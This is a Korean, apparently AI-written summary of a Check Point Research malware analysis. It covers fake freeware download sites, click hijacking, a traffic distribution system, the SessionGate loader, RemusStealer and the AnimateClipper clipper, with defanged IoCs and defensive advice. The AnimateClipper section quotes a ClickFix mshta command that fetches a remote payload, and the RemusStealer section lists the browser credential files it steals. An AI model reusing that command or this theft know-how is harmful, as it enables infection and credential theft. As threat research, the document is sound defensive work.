본 글은 AI가 작성했습니다. 내용의 정확성을 위해 출처를 함께 확인하시기 바랍니다.
출처
Check Point Research · 2026.06.03 Impersonation, Click Hijacking, and TDS: Inside a Malware Distribution Ecosystem https://research.checkpoint.com/2026/impersonation-click-hijacking-and-tds-inside-a-malware-distribution-ecosystem/

개요

Check Point Research(연구자 Alexey Bukhteyev)는 오픈소스·프리웨어 프로젝트 사이트를 사칭해 악성코드를 유포하는 대규모 캠페인을 분석했다. 캠페인의 핵심은 세 가지 구성요소가 결합된 유포 생태계다.

  1. 위장 사이트 — Ghidra·dnSpy·ilspy 등 보안 연구자용 도구를 포함한 정교한 가짜 포털
  2. 클릭 하이재킹(Click Hijacking) — 다운로드 버튼 클릭을 JavaScript로 가로채 공격자 인프라로 우회
  3. TDS(Traffic Distribution System) — 게이트형 트래픽 분배 인프라로 피해자를 선별·라우팅

최종 페이로드로는 신종 로더 SessionGate, 구독제 MaaS 스틸러 RemusStealer, 암호화폐 클리퍼 AnimateClipper 3종이 확인됐다.

위장 사이트 모음

▲ Figure 1 — Ghidra·dnSpy·ilspy 등을 사칭한 위장 사이트 (출처: Check Point Research)


캠페인 타임라인

시기사건
2025년 11월위장 사이트 등장 — TDS 미연동 상태
2025년 12월TDS 스크립트 본격 통합
2026년 1월~실제 악성코드 유포 활성화 관측
VirusTotal 제출 통계

▲ Figure 2 — 관련 샘플의 VirusTotal 제출 통계 (출처: Check Point Research)


위장 사이트(Impersonation)

공격자는 신뢰성 있는 브랜드의 GitHub 저장소처럼 보이는 링크와 전문적인 디자인의 가짜 사이트를 운영한다.

보안 연구자 도구 사칭

  • ghidralite[.]com
  • dnspy[.]org
  • ilspy[.]org

개발자/유틸리티 도구 사칭

  • grpcurl[.]com, mqttexplorer[.]com, mfcmapi[.]com
  • winsetupfromusb[.]org, crystaldiskmark[.]org, guiformat[.]com

보안 연구자를 의도적으로 표적화한 정황이 두드러진다.

가짜 Ghidra 사이트

▲ Figure 3 — 가짜 Ghidra 포털 화면 (출처: Check Point Research)

가짜 Ghidra 사이트 상세

▲ Figure 4 — 가짜 Ghidra 포털의 다운로드 영역 (출처: Check Point Research)


클릭 하이재킹 메커니즘

핵심은 UX 기만 패턴이다. 다운로드 버튼은 브라우저 상태바에 합법적인 목적지 URL을 보여주지만, 실제 클릭 시 JavaScript가 이벤트를 가로채 공격자 TDS로 우회시킨다.

CloudFront에서 JS 로드
위장 사이트가 d33f51dyacx7bd.cloudfront[.]net 등에서 클릭 가로채기 스크립트를 로드
첫 클릭 캡처
캡처 단계 리스너로 다운로드 버튼의 첫 적격 클릭을 가로챔
기본 동작 차단
preventDefault() + stopImmediatePropagation()으로 정상 내비게이션 방지
TDS로 우회
공격자 통제 TDS 인프라로 리다이렉트 → 멀티 홉 체인 진입

탐지 회피 기법:

  • 브라우저별 이벤트 분기 — Chrome은 mousedown, Firefox는 click 이벤트 활용
  • localStorage 기반 빈도 제한 — 재방문 시 정상 목적지로 통과시켜 재현 분석 방해

TDS 인프라 — 게이트형 트래픽 분배

TDS는 단순 리다이렉터가 아니라 다중 게이트 조건으로 트래픽을 선별한다. 분석 중 확인된 구성 파라미터:

tagId: 1230479
redirectorDomain: oundhertobeconsist[.]org
pixelDomain: ukentaspectsofc[.]org
capPerDomain: 2
capPerUri: 1
intervalBetweenPops_ms: 60000
resetInterval_sec: 43200
TDS 인프라 다이어그램

▲ Figure 5 — TDS 트래픽 분배 인프라 전체 구조 (출처: Check Point Research)

TDS 게이트 메커니즘:

  • 첫 방문 상태 추적
  • 클릭 확인(클릭 한 번 더 강제) 의무화
  • 안티봇/안티분석 로직
  • VPN·데이터센터 IP 필터링
  • 지역 타깃팅 + 브라우저 핑거프린팅
  • 빈도 제한(frequency capping)

세션 컨텍스트에 따라 여러 분기 경로로 갈라지며, 최종 목적지에 도달하기 전 다중 리다이렉트를 거친다.

국가별 VT 분포

▲ Figure 6 — 주요 피해국 분포 (터키·폴란드·브라질·독일·프랑스·러시아·영국 등) (출처: Check Point Research)

PUA 페이로드 종류

▲ Figure 7 — TDS가 유포하는 PUA(잠재 원치 않는 응용프로그램) 종류 (출처: Check Point Research)


페이로드 ① — SessionGate (신종 로더)

다단계 로더로, PUA(잠재 원치 않는 응용프로그램) 번들을 최종 전달한다. 분석 회피 기법이 매우 강해 최종 페이로드 추출이 “극히 어렵다"고 평가된다. 샘플당 VirusTotal 제출량은 2,000~3,500건으로 전 세계에 분산.

유포 랜딩 페이지: originaldownloads[.]info, getfluxfile[.]com

SessionGate 랜딩 페이지

▲ Figure 8 — SessionGate 유포용 랜딩 페이지 (출처: Check Point Research)

Stage 1 — 다운로더 (20MB)

  • 내장 7-Zip SFX 아카이브(~15MB) + 약 5MB의 난독화 로더 코드
  • Adler-32 해시로 분석용 서비스 탐지 (eelam, ehdrv, eamonm, epfwwfp, npf, npcap, sysmondrv)
  • SHA1 해시 기반 프로세스 열거
  • Windows Defender PUA 보호 레지스트리 확인
  • 분석 도구 탐지 시 양성 동작으로 전환

C2 통신:

  • 주 C2: appfreshstart[.]com
  • 보조: appgetonline[.]com, webinnosetup[.]com, appmakingcenter[.]com
  • URL 패턴: /<tokenA>/<tickA>/<tokenB>/<tickB>?<sig16><timestamp>
  • User-Agent: NSIS_InetLoad (Mozilla)
  • 시그니처: SHA1({base_path}/{timestamp}/{salt}), 관찰된 salt 118107B05C590076239FF759CD9E5

Stage 2 — SFX 로더 (10MB)

  • 7-Zip SFX 인스톨러 위장
  • 명령행 게이팅 — 숫자 토큰 + base64 문자열 필요
  • 2개 암호화 DLL 내장 + 수동 PE 매핑으로 메모리 실행
  • PDB 잔여물: D:\code\cpp-downloader-scb-reg-other\Plugins\7ZipDownloader\Output\SFXWin.pdb
  • VT 탐지율 매우 낮음
SFX 로더 구조

▲ Figure 9 — SessionGate SFX 로더 구조 (출처: Check Point Research)

IDA 디스어셈블리

▲ Figure 10 — IDA로 본 난독화 로더 코드 (출처: Check Point Research)

DLL #1 — Key Broker

  • 명령행 인자를 AES-256-CBC 복호화로 검증 (하드코딩 키: BFEA4EE8EF934BE7A2B4C64A0BAD1E92)
  • “CRC” C2 도메인 접촉: yourfastcrc[.]com, mobileversioncrc[.]com, webcrcprove[.]com, integritycrc[.]com
  • 요청: https://<crc-domain>/check_version?version=<SHA256_hash>
  • 일회성 키 발급 — 피해자 IP/세션에 묶여 한 번만 발급
  • 32자 base62 토큰 반환 → DLL #2 복호화 키 파생

DLL #2 — Installer/Offer Framework

  • 네트워크 제어형 설치자/번들러
  • 서버 주도 설정 검색
  • 하드코딩된 PUA 제품: PDF Spark, PDF Proton, PDF Ignite, PDF Skill, Document Sparkle, NibblrAI, PCPooch
  • 대체 다운로드(fallback): https://www.7-zip.org/a/7z2301-x64.exe
  • cmd.exe로 silent 설치
VirusTotal 탐지율

▲ Figure 11 — Stage 2 VirusTotal 탐지율 (출처: Check Point Research)

문자열 분석

▲ Figure 12 — 페이로드 내 의미 문자열 분석 (출처: Check Point Research)

번들된 PUA 프로그램

▲ Figure 13 — 번들 설치되는 PUA 제품 목록 (PDF Spark·Proton·Ignite 등) (출처: Check Point Research)

S3 버킷(2026-01~03 관측): activeslatnascdngetrcv, globalhasigasnaledsftwre, marketstagofortdas, activesltnascdngetrcv, globalhsigasnaledsftwre, dimarketorotacti, softmakreplnt, softmakreplntl, activemktsolution, dimarketorotactis, signedmarkeotk, marketstgofortdas


페이로드 ② — RemusStealer (구독제 MaaS)

항목내용
최초 광고2026.02.12 러시아어 포럼, 사용자 “RemusStealer”
가격$250 / $500 구독제
배포 형식비밀번호 보호 ZIP (~14MB 압축 / ~850MB 압축해제, 제로 패딩)
1차 로더Go 언어 기반, 2차 페이로드 내장
RemusStealer 분석

▲ Figure 14 — RemusStealer 페이로드 분석 (출처: Check Point Research)

탈취 대상

브라우저 데이터:

  • Chromium 계열: History, Login Data, Login Data For Account, Network\Cookies, Web Data
  • Firefox/NSS 프로필: key4.db, cert9.db, cookies.sqlite, logins.json, formhistory.sqlite, places.sqlite, prefs.js, extensions.webextensions.uuids
  • Local State에서 DPAPI(CryptUnprotectData)로 마스터 키 추출

확장 프로그램 표적 — 총 332개 식별자:

범주개수대상 (일부)
암호화폐 지갑220MetaMask, Rabby, Coinbase, Trust, OKX, Binance, Bitget, Phantom, Solflare, Keplr, TronLink, Exodus, Ronin, Tonkeeper, MyTonWallet, Yoroi, UniSat, Suiet, Pontem
비밀번호 관리자771Password, Bitwarden, LastPass, Dashlane, Keeper, RoboForm, NordPass, Proton Pass, KeePassXC, Zoho Vault
2FA/TOTP18Authy, 2FAS, Authenticator 계열
RemusStealer 판매 패널

▲ Figure 15 — RemusStealer 판매·관리 패널 (출처: Check Point Research)

C2 및 명령

  • 주 C2: buccstanor[.]pics:28313
  • 보조: baxe[.]pics:48261
  • 프로토콜: HTTP POST + access_token + 증가 step 카운터
  • User-Agent: Firefox 문자열로 위장(블렌딩)

명령 코드:

Type기능
0%ENV% 변수 확장 기반 파일 시스템 검색
2레지스트리 정찰 (WOW64 뷰 재시도 포함)
3Chromium 지향 수집
4Firefox/NSS 프로필 발견
5작업 완료 신호

페이로드 ③ — AnimateClipper (암호화폐 클리퍼)

ClickFix 피싱 기법을 통해 사용자가 직접 명령을 실행하도록 유도해 무음 설치된다.

실행 체인

ClickFix 피싱 페이지
processing-in-progress-x4.t3.storage[.]dev 등에서 다음 명령 실행 지시:
C:\Windows\SysWOW64\mshta.exe https://185.0xA1.0xFB[.]58/navy.7z
HTA → 난독화 VBScript
다운로드된 HTA가 난독화 VBScript 실행
PowerShell 다운로드
194.150.220[.]218/4SLEYpfAk57hGubo/fo0suc2ki2.rtf.rtf 확장자 위장의 난독화 PowerShell
Python 환경 + 셸코드
cdn-1415.brightcanvas[.]digital/fo0suc2ki2.rtf에서 Python 번들 ZIP 수신 →
난독화 Python 로더가 ntdll!LdrCallEnclave로 in-process 셸코드 실행
클리퍼 메모리 매핑
Python 프로세스 메모리에 클리퍼 페이로드 수동 PE 매핑

C2 — 스마트 컨트랙트로 동적 해소

BNB Smart Chain Testnet JSON-RPC에 스마트 컨트랙트 쿼리를 보내 C2 도메인을 동적으로 가져온다.

{
  "to": "0x6936edc505501EBB2F202C985a021a06f1c10C9E",
  "data": "0x3bc5de30"
}

→ 분석 시점 해소된 C2: kr.hugo-lapp[.]co

AnimateClipper 분석

▲ Figure 16 — AnimateClipper 클리퍼 분석 (출처: Check Point Research)

임베디드 지갑 주소 (일부)

체인주소
Ethereum0xA1E50DaF64fb2B342A64d848E396700962acC2d0
Bitcoin1PbWWqgKDBDorh525uecKaGZD21FGSoCeR, 31kwGkJP9xM26cnQJLpe1CH6pjSt4DEDz2, 32Epo1K92Xzo6Hayq1Fmkj21x4fUk7JZT7
Litecoinltc1qk437ykzdxms9k9wh5vhd7aalsv0tfx6r39rrtv, LV9AYZKQEg891crnof7PFK6u77noVM4Y45, MG1FerSxboiwjhvU2cv4n34pXz5FpC88p4
TronTNf4nzc6x6fZrBMLMaZZGV1SbCjShDqbaQ
Rippler9yMnTm4NSzvG9rrwjM2ec8xZgh1cafXH8
Cosmoscosmos1k5xu6njlc90r92gdwvtfjh826jduw7ptmry0q8

최초 온체인 결제: 2025.07.12 (운영 유효성 확인)


운영 철학 — “악성 유포가 아니라 트래픽 수익화”

연구진은 본 캠페인의 1차 목적이 악성 유포가 아니라 트래픽 획득·수익화라는 점을 강조한다. 게이트형 TDS는 동일 인프라로 회색 시장 제휴 프로그램과 악성코드 유포를 동시 운영할 수 있게 해주며, 다음을 통해 분석을 어렵게 만든다.

  • 세션별 일회성 키 메커니즘 — 분석자 시야 차단
  • 공격적 난독화 — 500KB+ 함수, 불투명 조건문, 암호화 문자열
  • 서버 측 등록·게이팅 — 키 복구 방지
  • 합법 인프라 악용 — CloudFront, AWS S3 적극 활용

주요 IoC (선별)

SessionGate Stage 1 SHA-256

598b023e56c45b19173e8f96c1c88036d732fec305cf6bf1b9cf4dbe304beb7f
74091f5a8746a1c68d73e1fc1e4e1ff514632ee3f632a8b306f35dabae2d2b64
15e6df0c95f2147952308e640d55270e9d097639eaebb34d4b352415f1c6bceb
3bb92771e287aa0a8bdd8e5b5bb697427223eaefded3d9b64b5d5c32ad40f3c2
cbad672d9bd06ce91ce465d049e50696fbaec9d209ca0ab1fd814d993d04bc9b

SessionGate C2 도메인

  • 다운로더 C2: appfreshstart[.]com, appgetonline[.]com, webinnosetup[.]com, appmakingcenter[.]com
  • Key Broker C2: yourfastcrc[.]com, mobileversioncrc[.]com, webcrcprove[.]com, integritycrc[.]com

RemusStealer C2

  • 주: buccstanor[.]pics:28313
  • 보조: baxe[.]pics:48261
  • 추가: 217.156.122[.]75:1378, intem[.]lat:9592, ropea[.]top:28313, forestoaker[.]com:6290, 94.231.205[.]229:28313, gluckcreek[.]online:48261

AnimateClipper 인프라

  • 유포 URL: 185.0xA1.0xFB[.]58/navy.7z, 194.150.220[.]218/4SLEYpfAk57hGubo/fo0suc2ki2.rtf, cdn-1415.brightcanvas[.]digital/fo0suc2ki2.rtf
  • C2: kr.hugo-lapp[.]co, io.hugo-lapp[.]lat, cw.hugo-lapp[.]lat, st.hugo-lapp[.]lat, td.hugo-lapp[.]lat, fd.hugo-lapp[.]lat, ed.hugo-lapp[.]lat, flame-guard[.]cc, carlessclapped[.]com

방어 권고

  • 다운로드 출처 검증 — GitHub 공식 저장소 직접 방문, 도메인 철자 정밀 확인
  • 클릭 하이재킹 탐지 — 페이지 내 캡처 단계 이벤트 리스너, 비정상 preventDefault 패턴 모니터링
  • CDN 로드 JS 점검 — 의심 CloudFront/도메인의 외부 스크립트 차단
  • DPAPI 마스터 키 접근 탐지CryptUnprotectData 호출 + Chrome Local State 접근 패턴 EDR 룰
  • mshta·Python 인터프리터 무음 실행 모니터링 — ClickFix 체인의 핵심 시그니처
  • 암호화폐 지갑·확장 프로그램 접근 보호 — 별도 프로파일/하드웨어 지갑 사용 권장
Indicators of Compromise (IoC)
Hash
598b023e56c45b19173e8f96c1c88036d732fec305cf6bf1b9cf4dbe304beb7f 74091f5a8746a1c68d73e1fc1e4e1ff514632ee3f632a8b306f35dabae2d2b64 15e6df0c95f2147952308e640d55270e9d097639eaebb34d4b352415f1c6bceb 3bb92771e287aa0a8bdd8e5b5bb697427223eaefded3d9b64b5d5c32ad40f3c2 cbad672d9bd06ce91ce465d049e50696fbaec9d209ca0ab1fd814d993d04bc9b
Domain
ghidralite[.]com dnspy[.]org ilspy[.]org grpcurl[.]com mqttexplorer[.]com mfcmapi[.]com winsetupfromusb[.]org crystaldiskmark[.]org guiformat[.]com d33f51dyacx7bd.cloudfront[.]net oundhertobeconsist[.]org ukentaspectsofc[.]org originaldownloads[.]info getfluxfile[.]com appfreshstart[.]com appgetonline[.]com webinnosetup[.]com appmakingcenter[.]com yourfastcrc[.]com mobileversioncrc[.]com webcrcprove[.]com integritycrc[.]com buccstanor[.]pics baxe[.]pics intem[.]lat ropea[.]top forestoaker[.]com gluckcreek[.]online processing-in-progress-x4.t3.storage[.]dev cdn-1415.brightcanvas[.]digital kr.hugo-lapp[.]co io.hugo-lapp[.]lat cw.hugo-lapp[.]lat st.hugo-lapp[.]lat td.hugo-lapp[.]lat fd.hugo-lapp[.]lat ed.hugo-lapp[.]lat flame-guard[.]cc carlessclapped[.]com
IP
217.156.122[.]75 94.231.205[.]229 194.150.220[.]218 185.161.251[.]58
URL
hxxps://185.161.251[.]58/navy.7z hxxps://194.150.220[.]218/4SLEYpfAk57hGubo/fo0suc2ki2.rtf hxxps://cdn-1415.brightcanvas[.]digital/fo0suc2ki2.rtf